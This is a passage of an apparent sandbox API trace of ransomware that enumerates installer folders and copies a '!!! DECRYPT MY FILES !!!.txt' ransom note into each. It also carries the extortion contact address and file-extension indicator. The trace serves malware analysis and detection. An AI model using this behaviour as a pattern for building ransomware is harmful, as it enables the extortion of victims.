lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0090.000] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0090.000] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0090.000] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0090.000] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0090.001] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0090.001] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1046\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1046\\") returned 1 [0090.001] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0090.001] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0090.001] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0090.001] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5500 [0090.003] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.003] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0090.003] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1046\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 1 [0090.003] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1046\\eula.rtf") returned 0x23 [0090.003] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0090.003] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0090.003] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0090.003] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0090.004] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0090.004] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0090.004] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf3768b28, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4e00 [0090.004] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0090.004] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1046\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0090.011] GetProcessHeap () returned 0x630000 [0090.012] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x18) returned 0x6b04f8 [0090.012] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0090.012] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1046\\eula.rtf", psz="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 1 [0090.012] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1046\\localizeddata.xml") returned 0x2c [0090.012] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0090.012] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0090.012] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0090.012] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0090.012] GetProcessHeap () returned 0x630000 [0090.012] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04f8, Size=0x1c) returned 0x6e93a0 [0090.012] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0090.012] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1046\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1046\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 1 [0090.012] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1046\\setupresources.dll") returned 0x2d [0090.013] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0090.013] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0090.013] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0090.013] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0090.013] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0090.013] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0090.013] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1049\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1049\\") returned 1 [0090.013] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0090.014] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0090.014] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0090.014] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5480 [0090.014] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.014] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0090.014] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1049\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 1 [0090.014] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1049\\eula.rtf") returned 0x23 [0090.014] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0090.014] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0090.014] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0090.014] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0090.014] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0090.015] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0090.015] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf3768b28, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d54c0 [0090.015] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0090.015] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1049\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0091.156] GetProcessHeap () returned 0x630000 [0091.156] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b11f0 [0091.156] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0091.156] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1049\\eula.rtf", psz="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 1 [0091.156] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1049\\localizeddata.xml") returned 0x2c [0091.156] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.156] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0091.156] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0091.156] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0091.156] GetProcessHeap () returned 0x630000 [0091.156] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b11f0, Size=0x10) returned 0x6b1388 [0091.157] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0091.157] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1049\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1049\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 1 [0091.157] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1049\\setupresources.dll") returned 0x2d [0091.157] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.157] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0091.157] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0091.157] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0091.157] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0091.157] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0091.157] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053", cAlternateFileName="")) returned 1 [0091.158] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1053\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1053\\") returned 1 [0091.158] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0091.158] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0091.158] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0091.158] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f80 [0091.159] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.159] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0091.159] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1053\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 1 [0091.159] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1053\\eula.rtf") returned 0x23 [0091.159] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.159] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0091.159] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0091.159] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0091.159] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0091.160] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: 